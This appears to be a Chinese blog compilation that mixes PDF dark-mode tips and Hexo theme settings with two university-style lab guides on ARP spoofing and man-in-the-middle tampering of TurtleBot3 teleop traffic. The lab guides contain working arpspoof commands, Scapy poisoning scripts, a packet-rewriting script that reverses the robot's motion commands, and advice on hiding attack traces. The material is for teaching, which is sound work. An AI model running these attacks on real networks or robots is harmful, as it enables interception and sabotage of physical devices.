惟愿言行合一,砥砺前行

0%

方式一和二都适用于常规的浏览器,
方式三是PDF阅读器推荐。

方式一:f12改css

  • 步骤一:打开开发者工具(f12)。

  • 步骤二:点击选择PDF所在元素,在style里面加一行filter:invert();

    其他效果参考CSS3 filter(滤镜) 属性

  • 前两个步骤效果如下:
    反色结果

  • 步骤三:点击选择PDF所在元素,修改style的background-color(我的是rgb(61 130 85)。追加一行opacity:50%;(透明度推荐35%~80%)
    步骤三结果示意图

  • 最终效果如下:
    这是效果图

方式二:浏览器扩展Dark Reader

官网地址:Dark Reader
安装自己浏览器对应的Dark Reader扩展插件。
然后在浏览器的扩展管理中,
找到“允许访问文件URL”并勾选。
以Edge为例,如下:
在这里插入图片描述
最终效果如下:
在这里插入图片描述

方式三:好用的PDF阅读器

  1. SumatraPDF:麻雀虽小,五脏俱全。
    官网下载:SumatraPDF,如下图所示:
    在这里插入图片描述

踩雷警告:不支持PDF编辑。
推荐原因:第一,支持自定义PDF背景、字体颜色、高亮颜色等;
在这里插入图片描述
第二,非常轻量。
在这里插入图片描述
第三,文本搜索速度较快,有浏览记录,功能完善。
在这里插入图片描述
实属PDF届的记事本。

  1. 万兴PDF编辑器:极度舒适。
    不用会员的版本下载地址:天翼云盘 (访问码:5xoq)
    官网下载:万兴PDF编辑器(OCR/转word文档等功能需要会员)

踩雷警告:打开较慢、PDF编辑功能不如Acrobat、转换功能耗时较长、乱用可能卡住。
推荐原因:第一,支持OCR文本识别,识别率还算可以。
第二,支持PDF转Word,格式还算看得过去。
第三,阅读体验极好,寻常的PDF放进去会变得好看。如下图:
在这里插入图片描述
第四,文本搜索速度非常快。
第五,支持PDF拆分合并,以及简单的PDF文本编辑。

  1. Abode Acrobat,个人不太推荐用于PDF阅读,但强烈推荐用于PDF编辑。如文本删改、添加图片等。

中间人攻击

实验目的

  ARP欺骗可以作为中间人攻击的一个起手式。前一个实验我们完成了ARP欺骗,在本章实验中,我们将会在上一个实验的基础上,针对键盘控制过程的报文进行修改,使键盘控制异常。
  本章中将使用到arpspoof或者scapy来实现ARP欺骗功能,使用scapy对报文进行处理和转发。

整个实验流程分下面几步工作:

  1. 用攻击机向控制机与小车持续发送ARP欺骗数据包,占领ARP表;

  2. 分析键盘控制功能包;

  3. 关闭数据包转发;

  4. 使用scapy实现数据包转发,在转发前修改键盘控制时的TCP报文。

  5. 验证实验结果。

攻击机环境推荐:

Linux虚拟机:Ubuntu 20.04或18.04或kali都行;

被攻击机环境推荐:

Ubuntu20.04,安装好ROS。

注意:

  由于校园网的设备数量限制,真机连接校园网,多台虚拟机桥接模式下很可能无法上外网。虽然不影响arp攻击结果,只影响主机和网关通讯。但是仍然建议打开手机使用WiFi信号桥,或者使用流量,或者使用现成的路由器。

实验要求

  1. 结合之前几次实验的学习,能够完成ARP欺骗;
  2. 了解键盘控制功能包的写法,进而掌握ROS订阅和发布消息的过程;
  3. 成功影响键盘控制过程;

实验内容

了解键盘控制程序

找到该程序

知己知彼,百战不殆。欺骗键盘控制过程前,首先要了解它。
键盘控制程序的启动方式是:

1
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch

说明控制程序的功能包是turtlebot3_teleop。再运行以下指令找到功能包的位置:

1
rospack find turtlebot3_teleop

按照位置找到该文件夹:

在launch中找到turtlebot3_teleop_key.launch文件。
该文件仅仅是一个启动其他程序的文件,不展示程序执行过程。

其中type属性说明了涉及的程序:turtlebot3_teleop_key,在nodes文件夹中可以找到。

分析程序内容

先看主函数:

先初始化建立了名为turtlebot3_teleop结点,并且准备向/cmd_vel这个话题发布Twist类型的消息。并初始化角速度、线速度为0。
跳过中间的键盘控制过程,再往下看:

先初始化Twist类型,再分别给线速度、角速度赋值,并发布消息,即可完成对小车的控制。
那么,关键是Twist类型究竟是什么形式的。我们已知它存在于/cmd_vel中,那么运行以下指令查看/cmd_vel的详细信息:

1
rostopic info /cmd_vel

可见消息geometry_msgs/Twist
再查看消息的类型:

1
rosmsg show geometry_msgs/Twist

原来是定义了两个结构体,linearangular,其中分别包含三个float64类型的数据。已知float64类型是64bits,也就是8个字节。
接下来我们用wireshark在控制机上截获控制过程,看看消息是否如我们预期的那样。

分析报文内容

  打开carMove2.pcapng文件,它是在真实控制过程中截获的一段报文(我们也可以自己打开键盘控制,用wireshark嗅探与小车交互的网卡,得到这个过程)。
  其中具体控制过程很简单,仅仅是以0.01/0.02的线速度让小车前进,然后停止。
在最上面的过滤条件中输入“data”,过滤出所有包含数据的报文。
  观察到所有data字段都是52个字节。
  Twist类型的数据一共有6个基础数据,每个数据占8个字节,一共48个字节。
  说明还有4个其他的字节。

  一开始小车没有速度,data字段显示30。
  继续向下看,第85个报文中的Data字段发生了改变。这是拥有线速度时发送的报文。可见有8个字节发生了变化。它们的起始位置是第五个字节。
  说明起始的四个字节就是所有的额外的字节,剩下的字节很可能就是我们需要的数据内容。而且值得高兴的是,前四个字节的内容一成不变,虽然暂时不清楚含义,但并不影响我们伪造数据包。

  根据分析,只有linear.x会受键盘控制程序的控制。那么这个变化的字段就对应着linear.x。而紧接着的16个字节应是linear.ylinear.z
  用同样的原理,我们还能分析出角速度对应的报文内容。
  因此,数据段的构造如下:

1
2
3
4
5
6
7
0~3:未知
4~11:linear.x
12~19:linear.y
20~27:linear.z
28~35:angular.x
36~43:angular.y
44~51:angular.z

  接下来,我们就可以开始编写伪造的数据报文了。
  不过,还需要先做一个Arp欺骗的起手式。

ARP欺骗

使用ARP欺骗将小车和被攻击机的数据报文引流到攻击机中。IP地址如下:

主机名\参数名 IP地址
被攻击机A 192.168.1.105
小车B 192.168.1.110
攻击机M 192.168.1.103

注:攻击机、被攻击机、小车之间需要能够相互ping通。
注:IP地址和mac地址可通过ifconifg -a查看
注:如果不知道被攻击和小车的mac地址,也不方便去小车上运行ifconfig
可通过nmap -sP 192.168.1.0/24【将当前ip地址最后一位改为0,再加子网掩码】获取存活主机。
猜测目标,nmap -sT扫描它,得到对应的mac地址。
如果对方用虚拟机进行控制,arp欺骗时需要填写对方虚拟机的ip地址。
虚拟机和主机的mac地址是一致的,通过这个可以判断是否是该主机对应的虚拟机。

方式一:使用arpspoof

Arpspoof是dsniff中的一个组件,因此使用它之前需要下载dsniff:

1
sudo apt install dsniff

攻击过程:

1
2
sudo arpspoof -t 192.168.1.105 192.168.1.110 #欺骗被攻击机
sudo arpspoof -t 192.168.1.110 192.168.1.105 #欺骗小车

查看是否攻击成功,在被攻击机上运行:

1
arp #在被攻击机上运行

如果看到了192.168.1.110对应的MAC地址,变成了攻击机的MAC地址,说明攻击成功。

方式二:使用Scapy

如果不想使用arpspoof,也可以运行scapy脚本完成这一过程。
MAC_M填写攻击机的MAC地址。

arp_cheat.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
from scapy.all import *
from time import *

IP_A = "192.168.1.105"

IP_B = "192.168.1.110"

MAC_M = "02:42:c0:a8:3c:03"

print("SENDING SPOOFED ARP REQUEST......")

ether = Ether()
ether.dst = "ff:ff:ff:ff:ff:ff"
ether.src = "02:42:c0:a8:3c:03"

arp = ARP()
arp.psrc = IP_B
arp.hwsrc = MAC_M
arp.pdst = IP_A
arp.op = 1
frame1 = ether/arp
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether/arp2
while 1:
sendp(frame1)
sendp(frame2)
sleep(5)

伪造报文

编写ip转发的程序

首先关闭虚拟机中自带的ip转发:

1
sudo sysctl net.ipv4.ip_forward=0

redirect.py:
注:第2~6行请填入自己的攻击和被攻击对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from scapy.all import *
IP_A="192.168.1.105"
IP_B="192.168.1.110"
MAC_A=''
MAC_B=''
MAC_M='02:42:c0:a8:3c:03'
def spoof_pkt(pkt):
try:
if(pkt.src==MAC_M):
return
pkt.show()
if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
pkt.src=MAC_M
pkt.dst=MAC_B
elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
pkt.src=MAC_M
pkt.dst=MAC_A
del(pkt.chksum)
del(pkt[TCP].chksum)
sendp(pkt)
except Exception as e:
sendp(pkt)

f= "host "+IP_A+" and host "+IP_B
pkt = sniff(filter=f,iface='ens33', prn=spoof_pkt)

  redirect.py可视为最基本的转发过程。
  第25行的sniff是嗅探数据包,其中参数filter为过滤条件,iface是嗅探的网卡(不设置时默认嗅探所有网卡的数据包),prn是回调函数。
  通过设置过滤条件"host "+IP_A+" and host "+IP_B,只嗅探我们用arp欺骗阻断的通信双方,以免影响本机网卡上其他的通信过程。
  第7到22行的回调函数解释:如果该数据包是从攻击机发出,说明该报文是由攻击机伪造的,不需要做其他的额外处理。否则做相应的转发处理。
  第11行用于输出当前嗅探到的报文的内容。
  第13/14行和第16/17行的目的:如果报文由A发给B,由于ARP欺骗的存在,此时的报文的目的MAC地址是M的。所以要将MAC地址修改成正确的MAC地址,再进行报文发送。
  第21/22行做异常处理,当try对应的程序段中出现了异常(比如pkt没有IP层时pkt[IP]出现访问异常)时,不中止程序,而是直接将pkt报文发送出去。
  注:异常处理能减少许多的条件判断

  接下来我们完善程序,修改A发送给B的数据段。
  目的是将控制者的操作反向。其他修改方式可以得到其他的攻击效果。
  基本过程是把数据中的linearXargularZ的符号位取反。

完整程序如下:
  
datacheat.py:
注:第3~7行请填入自己的攻击和被攻击对象
注:由于只修改A到B的报文,注意IP_AMAC_A填写控制机,IP_BMAC_B填写小车

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from scapy.all import *
import numpy as np
IP_A="192.168.1.105"
IP_B="192.168.1.110"
MAC_A='00:0c:29:ae:75:24'
MAC_B='B8:27:EB:47:46:A6'
MAC_M='00:0c:29:fb:4f:37'
linearX, linearY, linearZ, argularX, argularY, argularZ=0.01,0.0,0.0,0.0,0.0,0.1
test=b'\x30\x00\x00\x00'+struct.pack('dddddd',linearX,linearY,linearZ,argularX,argularY,argularZ)
def spoof_pkt(pkt):
try:
if(pkt.src==MAC_M):
return
if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
pkt.src=MAC_M
pkt.dst=MAC_B
Bytes = pkt[TCP].load
if(Bytes[0:4]==b'\x30\x00\x00\x00'):
pkt.show()
i=len(Bytes)
temp=bytearray(Bytes)
temp[11]=(int(Bytes[11])^(8*16))
temp[51]=(int(Bytes[51])^(8*16))
Bytes=bytes(temp)
pkt[TCP].load=Bytes
pkt.show()
elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
pkt.src=MAC_M
pkt.dst=MAC_A
del(pkt.chksum)
del(pkt[TCP].chksum)
pkt.show()
sendp(pkt)
except Exception as e:
print("[-] Error = "+str(e))
if(pkt.type!=2054 and str(e)!="load"):
pkt.show()
try:
sendp(pkt)
except Exception as e2:
pass

f= "host "+IP_A+" and host "+IP_B+" and tcp"
pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)

正式开始攻击

  如果不知道攻击机和小车的ip和mac地址,可以先做主机发现。在[ARP欺骗](## ARP欺骗)的注中有提到。
  先建立被攻击机和小车的远程连接。
  再着手攻击,在被攻击机上打开ip转发,ARP欺骗两个机器,运行数据包篡改程序,关闭ip转发。
  之后,验证攻击效果。在被攻击机上试着操控小车,看看小车是不是不听使唤了。

建立远程连接

在小车上:

1
2
roscore #2
roslaunch turtlebot3_bringup turtlebot3_robot.launch #3

在被攻击机上:

1
2
roscore #1
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch #4

确保能正常键盘控制即可。

打开/关闭ip转发

1
2
sudo sysctl net.ipv4.ip_forward=1
sudo sysctl net.ipv4.ip_forward=0

arp欺骗见[ARP欺骗](## ARP欺骗)。

1
sudo python3 arp-cheat.py

效果如下图所示:

数据篡改

1
sudo python3 datacheat.py

效果如下图所示:左侧wireshark显示通信和转发正常,右侧是输出的一些提示信息。

验证攻击效果

  关闭ip转发并建立arp欺骗时,被攻击机无法控制小车。
  打开ip转发时,可以控制小车。
  运行数据包篡改程序后,再用被攻击机控制小车,小车一开始一到两秒不会受到攻击机的控制,篡改转发稳定之后,攻击机的一切指令将会反向作用在小车上。
  比如本应朝前,变成后退。左转变成右转。

作 业

  1. 制作其他的攻击效果。

不小心把本地的博客文件全部删掉了,非常不幸的是,gitee上themes文件夹中的next主题没有提交上去,导致主题全部要重新配置,累了毁灭吧。
(ps: 回退了一个hexo版本,不那么好看并且有非常非常多的bug!!!!!!!!!!!!!啊之后再改吧毁灭吧!可以看github版本,那个看起来好歹没这么多bug)

文章顺序

1
2
npm uninstall hexo-generator-index --save
npm install hexo-generator-index-pin-top --save

打开 /themes/next/layout/_macro/ 目录下的 post.swig 文件,在 <div class="post-meta"> 的第一个 <span> 标签下,插入如下代码:

1
2
3
4
5
{% if post.top == 1 %}
<i class="fa fa-thumb-tack"></i>
<font color=2E8B57>TOP</font>
<span class="post-meta-divider">|</span>
{% endif %}

加密

1
npm install hexo-blog-encrypt --save

主题设置

Gemini暗夜主题。

1
2
3
4
5
6
7
8
9
10
11
custom_file_path:
#head: source/_data/head.swig
#header: source/_data/header.swig
sidebar: source/_data/sidebar.swig
#postMeta: source/_data/post-meta.swig
#postBodyEnd: source/_data/post-body-end.swig
#footer: source/_data/footer.swig
bodyEnd: source/_data/body-end.swig
#variable: source/_data/variables.styl
#mixin: source/_data/mixins.styl
style: source/_data/styles.styl

bodyEnd:

1
2
{# 代码压缩 #}
<script type="text/javascript" src="/js/fold_action.js"></script>

styles.styl:

鼠标指针自己画两个就好了。老抽象画大师了。我的头像也是自己画的了,因为之前那个头像放在主题文件夹里,删掉了,刚好最近在画画,随便换了一个,麻了。。。。。。

png转ico的网站:PNG转ICO - 在线转换图标文件 (aconvert.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
//鼠标指针设置
body {
cursor: url("/images/cursor.ico"),auto!important;
background-color:#282828;
}
//鼠标指针设置(改变)
a,span,btn,.copy-btn,.v[data-class=v] .vbtn,[data-v-0a6ec0b4],.spoiler-title,.post-meta time,.reward-container button,.sidebar-nav .sidebar-nav-active,.sidebar-nav li:hover,.spoiler .spoiler-title {
cursor: url("/images/cursor-click.ico"),pointer!important;
}
.header-inner,
.sidebar-inner,
.main-inner > .pagination,
.main-inner > .post-block,
.main-inner > .post-block:not(:first-child):not(.sub-menu)
{
border-radius: 20px 20px 20px 20px;
box-shadow: 8px 7px 2px 0 rgba(0,0,0,0.12), 7px 4px 1px -2px rgba(0,0,0,0.06), 0 1px 5px 0 rgba(0,0,0,0.12);
}

//文章内链接文本样式
.post-body li a,.post-body p a{
color: #E68F89;
border-bottom: none;
border-bottom: 1px solid #555;
&:hover {
color: #E68F89;
border-bottom: none;
border-bottom: 1px solid #fc6423;
}
}
//单行代码样式
code {
background: #252525;
border-radius: 4px;
color: #F2C7C4;
font-size: 15px
}
//版权声明样式
.post-copyright ul{
background: #1D1F21;
border-left:3px solid #E68F89;
}
//侧栏颜色
.sidebar-toc-active .sidebar-nav-toc,
.sidebar-overview-active .sidebar-nav-overview,
.post-toc .nav .active > a{
color: #E68F89;
border-bottom-color:#E68F89;
}
.sidebar-nav li:hover ,
.sidebar-toc-active .sidebar-nav-toc:hover
.sidebar-overview-active .sidebar-nav-overview:hover{
color: #FF7B71;
}
.post-toc-wrap .post-toc .nav .nav-item .nav-link:hover
.post-meta-item>a:hover{
color: #F2C7C4;
border-bottom-color:#F2C7C4;
}

// 代码折叠功能添加
.hider_title{
cursor: pointer;
color: #ef4a05;
}
.close:before{
content: "▼";
}
.open:before{
content: "▲";
}

.config.yml:

1
2
3
4
5
6
7
8
9
10
11
12
codeblock:
# Code Highlight theme
# Available values: normal | night | night eighties | night blue | night bright | solarized | solarized dark | galactic
# See: https://github.com/chriskempson/tomorrow-theme
highlight_theme: night
# Add copy button on codeblock
copy_button:
enable: true
# Show text copy result.
show_result: false
# Available values: default | flat | mac
style: mac

# ARP攻击

  实验环境推荐:Linux虚拟机×2:Ubuntu 20.04或18.04或kali,被攻击机安装好ROS;

  提升能力环境推荐:不同真机下的Linux虚拟机×2:Ubuntu 20.04或18.04或kali,被攻击机安装好ROS;

  注意:由于校园网的设备数量限制,真机连接校园网,多台虚拟机桥接模式下很可能无法上外网。虽然不影响arp攻击结果,只影响主机和网关通讯。但是仍然建议打开手机使用WiFi信号桥,或者使用流量,或者使用现成的路由器。

Arpspoof占领ARP表

ARP攻击概述

  ARP全称Address Resolution Protocol(地址解析协议),用于在局域网中把IP地址通信转换成MAC地址通信。MAC地址是硬件地址,是物理网卡的编号地址,理论上具有惟一性。在Internet互联网中,访问一个网站要先进行DNS解析,把域名转换成IP,然后通过ARP协议,由IP找到MAC地址。

思考题Q1:为什么不能直接基于MAC地址通信?

为什么不直接使用MAC地址进行通信、为什么不直接使用IP地址通信_shen19960603的博客-CSDN博客

ARP在同个网段下的工作原理:

  每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。当A主机要跟B主机通讯时,会首先检查自己 ARP列表中是否存在B的 IP地址对应的MAC地址,如果有,就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。

例如:

A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

根据上面的所讲的原理,我们简单说明这个过程:A要和B通讯,A就需要知道B的以太网地址,于是A发送一个ARP请求广播(Who is 192.168.10.2? tell 192.168.10.1),当B收到该广播,就检查自己,结果发现和自己的一致,然后就向A发送一个ARP单播应答(192.168.10.2 is at BB-BB-BB-BB-BB-BB)。

详见:ARP协议在同网段及跨网段下的工作原理_L.-CSDN博客_arp 跨网段

ARP攻击实施的依据

  由于主机不加检测地将ARP响应数据包的内容添加到自己的ARP列表中,发送虚假的ARP响应数据包即可错误地引导数据传输。

使用arpspoof妨碍普通主机上网

  了解基本原理之后,我们不加恶意地熟悉一下arpspoof工具。

  Arpspoof是dsniff中的一个组件,因此使用它需要先下载dsniff:

1
sudo apt install dsniff

  下载完成后,执行arpspoof:

1
sudo arpspoof

  -i 用于选择网卡,-t选择目标。

实例:

准备

  攻击前,查看攻击机、目标主机、网关的IP地址、MAC地址:

  相互之间应该可以ping通,如果不可以,请设置桥接模式,然后检查编辑-虚拟网络编辑器-更改设置,将桥接模式的已桥接至改为自己的网卡。

主机名\参数名 IP地址 MAC地址
攻击机 10.21.174.17 00-0C-29-AE-75-24
目标主机 10.21.173.255 00-0C-29-1E-CF-38
网关 10.21.175.254 00-74-9C-7D-FC-93
1
2
3
# 目标主机和攻击机同时打开wireshark监听报文:
sudo apt install wireshark-qt #如果无法连接外网,暂时修改成NAT模式安装,攻击时再改回来
sudo wireshark
欺骗网关
1
2
# 攻击机:
arpspoof -t 10.21.175.254 10.21.173.255 #向网关发送10.21.173.255 is at 00-0C-29-AE-75-24

  攻击机和目标主机的wireshark中均显示(因为发给网关的包会广播给网段):

  (注:此时打开真机上的wireshark,会发现广播包是10.21.173.255 is at 真机MAC地址)

  真机:部分截图如下——

1
2
3
4
5
6
# 目标主机:
ping 同伴的真机IP地址
# 同伴的真机:
arp -a #查看arp列表
# 期望:目标IP->攻击MAC
# 结果:目标IP->真机MAC

思考题Q2:实际上,其他真机的arp列表中,目标主机的ip对应的是真机mac而非虚拟机攻击机的mac地址,这种情况下,如果想用虚拟机攻击其他真机,数据还能成功地导向攻击机吗?如果不能,应该怎样解决这个问题?

提示:出现问题的根本原因是欺骗网关失败,本应由网关发给攻击机的报文被发送到真机上。

如果能再arp欺骗真机,攻击机就能收到其他真实存在的主机的数据包了。

欺骗主机
1
2
# 攻击机:
$ arpspoof -t 10.21.173.255 10.21.175.254 #向目标发送10.21.175.254 is at 00-0C-29-AE-75-24

目标主机:

IP转发

  至此,我们已经成功阻塞了目标主机与网关之间的通讯,将它们之间的通讯数据包全部发送给攻击机。如果在攻击机上开启ip转发,即可将到达攻击机的报文重新正常发送给目标主机和网关:

1
2
3
# 攻击机:
$ sudo -i #切换root用户
$ echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

  这样目标主机就能重新上网了,只是由于IP转发较慢,网速会有一定的影响。

思考题Q3:为什么要持续发送arp报文?

  arp列表过几分钟就自动刷新掉了。可以直接arp -a观察一下,我电脑大概是2分钟。

使用arpspoof妨碍ROS小车和控制机通讯

  接下来我们干扰同网段两机之间的通讯。

  实例:

  攻击前,查看攻击机、目标主机、小车的IP地址、MAC地址:

主机名\参数名 IP****地址 MAC****地址
攻击机 192.168.1.108 00-0C-29-AE-75-24
目标主机 192.168.1.106 00-0C-29-1E-CF-38
小车 192.168.1.102 /
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 目标主机和攻击机同时打开wireshark监听报文: 
sudo wireshark

# 攻击机:
sudo arpspoof -t 192.168.1.102 192.168.1.106 #向小车发送192.168.1.106 is at 00-0C-29-AE-75-24
sudo arpspoof -t 192.168.1.106 192.168.1.102 #向目标发送192.168.1.102 is at 00-0C-29-AE-75-24
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

# 目标主机:
roscore #网络配置以及远程连接一系列问题参考之前的实验
#ssh连接、roscore、roslaunch……
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch #打开键盘控制
# 按w前进,小车前进不受影响;

# 接着攻击机运行下列指令:
sudo -i #切换root用户
echo 0 > /proc/sys/net/ipv4/ip_forward #关闭IP转发
# 目标主机再次按w前进,小车无法前进,没有反应。

# 再开启IP转发,攻击机上打开wireshark抓包,在目标机按w前进。
# 小车移动后,令攻击机停止抓包。

分析报文,判断使小车速度改变的数据包是哪个。

使用Scapy伪造ARP报文

  Scapy是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。

  由于Python语言的特性,它非常简单易学。不过arpspoof等一系列工具实际上是由winpcap或libpcap库编写的,也就是c/c++语言,如果希望提高效率可以在扩展阅读中了解使用libpcap。

1
sudo apt install python3-scapy #下载scapy

伪造Arp报文

  参考:【Python】使用scapy模块编写ARP欺骗脚本 - 云+社区 - 腾讯云 (tencent.com)

  Scapy和python的运行模式一样,可以import导入scapy,写成一个python文件,也可以输入scapy进入交互命令行。下面展示交互命令行,完整代码是作业。

1
sudo scapy #运行scapy

  通过自带的ARP()方法,构造一个arp报文pkt,使用show()方法可以查看报文的详细内容。参数含义已经在图片上标出,这些参数均是字符型。

  我们可以自定义任意字段,例如修改源IP为10.11.71.254,目的IP为10.11.71.54,目的IP的网关可以不填,然后sr1()发送:

  (注:这种发送ARP包的方式仍然会出现Q3的问题,有可能无法直接攻击其他真机)

  发送前后10.11.71.54中的arp列表对比如下:

隐藏攻击痕迹

  可以看到10.11.68.36也被添加到arp列表中了,这显然会暴露攻击意图,造成该现象的原因是没有自定义二次帧头,kali会先发送了广播报文去问谁是10.11.71.54。为了避免这种现象的发生,我们可以通过pkt=Ether()/ARP()构造可以自定义二层帧头的报文,将二层帧头源MAC改成广播地址”ff:ff:ff:ff:ff:ff”(也可以改成别的):

  攻击结果(这次没有10.11.68.36):

  自行编写脚本实现完整的arp欺骗过程。

使用dpkt分析TCP报文

  建立好arp欺骗后,我们用wireshark嗅探攻击机的网络,并保存为carMove.pcap,分析与目标主机相关的tcp报文。(也可直接在目标主机上嗅探)

Tips:嗅探样例如附录一.2所示。其中过滤条件” tcp.stream eq 5”对应的就是一次主机键盘控制小车移动的tcp连接到tcp断开的过程。

准备

  分析报文可以使用python中的dpkt库,安装方式如下:

1
sudo apt install python3-dpkt #下载dpkt

  在TCP首部中有6个标志比特。它们中的多个可同时被设置为1。

  • SYN 同步序号用来发起一个连接
  • ACK 确认序号有效
  • PSH 接收方应该尽快将这个报文段交给应用层
  • FIN 发端完成发送任务
  • RST 重建连接
  • URG 紧急指针有效

  建立连接(三次握手):

有效通讯:

断开连接:

读取并过滤报文

  以下是用到的模块和定义的全局变量。(之后的程序体均需要添加这些模块)

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3
#coding=utf-8
import dpkt # 解析报文的模块
import socket # 解析ip地址的模块
import collections # 有序字典需要的模块
import time # 解析时间格式的模块
file_path='/home/shen/carMove_2.pcap' # 报文所在目录
burger_dst='192.168.1.102' # 小车的ip地址
pkt_len=52 # 移动报文的长度

  用wireshark打开捕获的carMove.pcap,粗略观察可知,小车和主机的通讯基于TCP协议。并且,主机键盘控制小车,是主机192.168.1.108向小车192.168.1.102发送带非空负载数据的报文。
  基于上述三点,我们利用dpkt模块读取carMove.pcap并对报文进行过滤和分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def main():
f = open(file_path,'rb')
#先按.pcap格式解析,若解析不了,则按pcapng格式解析
try:
pcap = dpkt.pcap.Reader(f)
except:
pcap = dpkt.pcapng.Reader(f) #解析pcapng会失败,建议使用scapy库的rdpcap去解析

#当前变量pcap中是按照“间戳:单包”的格式存储着各个单包
#将时间戳和包数据分开,一层一层解析,其中ts是时间戳,buf存放对应的包
for (ts,buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf) #解包,物理层
if not isinstance(eth.data, dpkt.ip.IP): #解包,网络层,判断网络层是否存在,如果不存在则丢弃
continue
ip = eth.data
#将网络地址转换成“.”点隔的字符串格式
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
#解包,判断目的地址是否是小车地址burger_dst,传输层协议是否是TCP,如果不是则丢弃
if not (dst==burger_dst and isinstance(ip.data, dpkt.tcp.TCP)):
continue
tcp = ip.data #传输层负载数据,基本上分析流量的人都是分析这部分数据,即应用层负载流量
#如果应用层负载长度为0,即该包为单纯的tcp包,没有负载,则丢弃
if not len(tcp.data):
continue
#验证结果,打印保存的数据包的抓包以及对应的包的应用层负载长度
print("Length:%d"%len(tcp.data)) #将时间戳转换成日期
#print("Data%s"%tcp.data)#打印传输层负载数据,因为小车数据传输过程中没有加密,所以可以直接打印
except Exception as err:
print("[error] %s" % err)
f.close()
main()

  运行结果如下:

  结合wireshark观察可知,键盘控制的通讯过程是连续且较长的,并且有用的数据包对应的负载数据长度都是52,所以再取长度为52进行过滤。

  将过滤条件if not len(tcp.data)改成if not len(tcp.data)==pkt_len,并将#print(“Data:%s”%tcp.data)的注释删去,打印传输层负载数据,再次运行结果如下:

  为方便数据包的查找,以及适应python2版本,我们向程序中添加时间戳的输出,并增加python2版本的注释完整程序见附录一.2中tcp_3.py。最终结果如下:

(wireshark中的数据)

  至此,我们完成了捕获并分析目的TCP报文全过程。若希望干扰命令的正常运行,可结合pcap模块边捕获边发送篡改后的报文。Tcp中的data段的16进制数据具体含义可通过篡改报文猜测。

扩展阅读 使用libpcap库截获报文

下载libpcap 库,

文件的格式为x.tar.gz。

http://www.tcpdump.org/release/

安装

1、解压文件到你的当前目录

1
tar zxvf x.tar.gz

2、进入刚才解开的libpcap目录,生成Makefile文件

1
sudo ./configure

【配置过程如果出现错误,请查看你是否安装了所有的依赖包bison, m4, flex以及libpcap-dev(安装方法 sudo apt install ****)】

3、将生成的库安装到系统默认目录中。此目录为 /usr/lib ,如果需要修改,可以修改文件Makefile 的 prefix。

1
sudo make install

使用

1、编译选项: gcc 源文件.c **-lpcap** .. -o 输出文件名

2、Warning不用管:

image-20210427233532483

3、测试程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <pcap.h>  
#include <stdio.h>

int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * device;
//look for the net device
device = pcap_lookupdev(errBuf);

if(device)
{
printf("success: device: %s\n", device);
}
else
{
printf("error: %s\n", errBuf);
}

return 0;
}

4、测试程序运行结果:

附录1 可参考文档

1.1 ROS|⑦ARP攻击Turtlebot3汉堡Burger并解析移动报文 | 日暮天无云 (gitee.io)

1.2 arp-course: ARP攻击相关文件 (gitee.com)

1.3 【Python】使用scapy模块编写ARP欺骗脚本 - 云+社区 - 腾讯云 (tencent.com)

1.4【python】dpkt模块快速解析pcap_MK_夕阳的博客-CSDN博客

order.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
